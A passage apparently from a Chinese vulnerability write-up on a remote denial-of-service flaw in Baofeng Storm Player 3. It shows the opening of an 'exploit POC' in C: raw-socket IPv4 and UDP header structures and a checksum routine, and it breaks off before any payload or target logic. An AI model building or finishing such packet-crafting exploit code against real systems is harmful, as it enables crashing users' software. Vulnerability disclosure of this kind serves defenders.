暴风影音3 爆远程拒绝服务漏洞分析

--*/
[/code]

--] exploit POC
[code]
#ifndef WIN32_LEAN_AND_MEAN
#define WIN32_LEAN_AND_MEAN
#endif

#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32")

// Set the packing to a 1 byte boundary
#include <pshpack1.h>

//
// Define the IPv4 header. Make the version and length field one
// character since we can't declare two 4 bit fields without
// the compiler aligning them on at least a 1 byte boundary.
//
typedef struct ip_hdr
{
    unsigned char  ip_verlen;        // 4-bit IPv4 version
                                     // 4-bit header length (in 32-bit words)
    unsigned char  ip_tos;           // IP type of service
    unsigned short ip_totallength;   // Total length
    unsigned short ip_id;            // Unique identifier
    unsigned short ip_offset;        // Fragment offset field
    unsigned char  ip_ttl;           // Time to live
    unsigned char  ip_protocol;      // Protocol(TCP,UDP etc)
    unsigned short ip_checksum;      // IP checksum
    unsigned int   ip_srcaddr;       // Source address
    unsigned int   ip_destaddr;      // Source address
} IPV4_HDR, *PIPV4_HDR, FAR * LPIPV4_HDR;

//
// Define the UDP header
//
typedef struct udp_hdr
{
    unsigned short src_portno;       // Source port no.
    unsigned short dst_portno;       // Dest. port no.
    unsigned short udp_length;       // Udp packet length
    unsigned short udp_checksum;     // Udp checksum (optional)
} UDP_HDR, *PUDP_HDR;

// Restore the byte boundary back to the previous value
#include <poppack.h>
//

// Function: checksum
//
// Description:
//    This function calculates the 16-bit one's complement sum
//    for the supplied buffer.
//
USHORT checksum(USHORT *buffer, int size)
{
    unsigned long cksum=0;

    while (size > 1)
    {
        cksum += *buffer++;
        size  -= sizeof(USHORT);  
    }
    if (size)
    {
        cksum += *(UCHAR*)buffer;  
    }
    cksum = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >>16);

    return (USHORT)(~cksum);
}

//
// Function: InitIpv4Header
//
// Description:
//    Initialize the IPv4 header with the version, header length,
//    total length, ttl, protocol value, and source and destination
//    addresses.
//